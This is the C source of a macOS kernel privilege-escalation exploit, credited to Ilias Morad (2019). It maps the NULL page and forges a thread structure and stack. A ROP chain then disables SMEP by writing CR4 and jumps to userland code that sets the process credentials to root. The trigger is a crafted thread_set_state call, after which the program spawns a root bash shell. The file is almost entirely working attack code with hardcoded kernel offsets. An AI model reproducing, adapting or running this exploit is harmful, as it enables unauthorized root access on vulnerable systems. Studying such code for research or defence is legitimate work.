// // exploit.c // // Created by Ilias Morad. // Copyright © 2019 Ilias Morad. All rights reserved. // #include #include #include #include "definitions.h" #include "gadgets.h" #define DEBUG 1 // Used in kernel.s extern uint64_t current_proc; extern uint64_t proc_ucred; extern uint64_t posix_cred_get; extern uint64_t return_to_user; extern void escalatePrivs(void); // For debugging void hexdump(const void* data, size_t size) { char ascii[17]; size_t i, j; ascii[16] = '\0'; for (i = 0; i < size; ++i) { printf("%02X ", ((unsigned char*)data)[i]); if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { ascii[i % 16] = ((unsigned char*)data)[i]; } else { ascii[i % 16] = '.'; } if ((i+1) % 8 == 0 || i+1 == size) { printf(" "); if ((i+1) % 16 == 0) { printf("| %s \n", ascii); } else if (i+1 == size) { ascii[(i+1) % 16] = '\0'; if ((i+1) % 16 <= 8) { printf(" "); } for (j = (i+1) % 16; j < 16; ++j) { printf(" "); } printf("| %s \n", ascii); } } } } void fail() { puts("[-] Stopping exploit"); exit(-1); } int main(int argc, const char *argv[]) { kern_return_t err = -1; uint64_t kSlide = -1; // after we return to userland our process state is super messed up // in order to be able to get a "stable" environment // our userland shellcode will just exec() itself again as root if(getuid() == 0) { puts("[+] Userland shellcode says hi!"); printf("[*] Patched uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid()); system("/bin/bash"); exit(0); } if(argc < 2) { puts("[-] You need to provide the kernel slide."); fail(); } else { kSlide = strtol(argv[1], NULL, 0x10); printf("[*] Kernel slide: 0x%llx\n", kSlide); } current_proc = 0xffffff8000968360 + kSlide; proc_ucred = 0xffffff8000820d30 + kSlide; posix_cred_get = 0xffffff80007ddbe0 + kSlide; return_to_user = 0xffffff8000229680 + kSlide; printf("[*] uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid()); vm_address_t pageZero = 0x00; err = vm_allocate(mach_task_self(), &pageZero, 0x1000, 0); if(err != 0) { printf("[-] vm_allocate(pageZero) returned %d\n", err); fail(); } memset(0,0,0x1000); puts("[*] Mapped NULL Page to catch GS accesses"); vm_address_t fakeThread = 0; err = vm_allocate(mach_task_self(), &fakeThread, 0x1000, VM_FLAGS_ANYWHERE); if(err != 0) { printf("[-] vm_allocate(fakeThread) returned %d\n", err); fail(); } printf("[*] Fake Thread is at: 0x%x\n", fakeThread); uint64_t *fakeStack = (uint64_t *)0x5d000000; vm_address_t fakeStackk = 0x5d000000; err = vm_allocate(mach_task_self(), &fakeStackk, 0x1000, 0); if(err != 0) { printf("[-] vm_allocate(fakeStack) returned %d\n", err); fail(); } printf("[*] Fake Stack is at: 0x%x\n", (uint32_t)fakeStack); x86_saved_state32_t state; memset(&state, 0xFF, sizeof(x86_saved_state32_t)); state.gs = 0x23; *(int64_t*)(pageZero+0x8) = fakeThread; // gs:0x8 = pointer to thread structure *(int64_t*)(fakeThread+0x350) = ROP_PIVOT_STACK + kSlide; // thread->recover; This will be called the next time the // kernel executes iretq *(int64_t*)(pageZero+0x168) = 0x400+0x28; // stackpointer + 0x28 (not used) *(int64_t*)(pageZero+0x400) = 0x4242424242424242; // [rsp] (not used) puts("[+] SAVED_STATE32 setup done!"); // Disable SMEP int sp = 0; fakeStack[sp] = kSlide + ROP_POP_RAX ; ++sp; fakeStack[sp] = CPU_DISABLE_SMEP ; ++sp; fakeStack[sp] = kSlide + ROP_MOV_CR4_RAX ; ++sp; // SMEP is disabled and we can jump to our userland code part fakeStack[sp] = (uint64_t)escalatePrivs ; ++sp; if(DEBUG) { char c; printf("[DEBUG] escalatePrivs: %p\n[DEBUG] SMEP disable ROP-Chain:\n", &escalatePrivs); hexdump((const void *)fakeStackk, 0x20); puts("[DEBUG] Waiting..."); // scanf(" %c", &c); } puts("[+] Here we go..."); thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT); while(1) {} return 0; }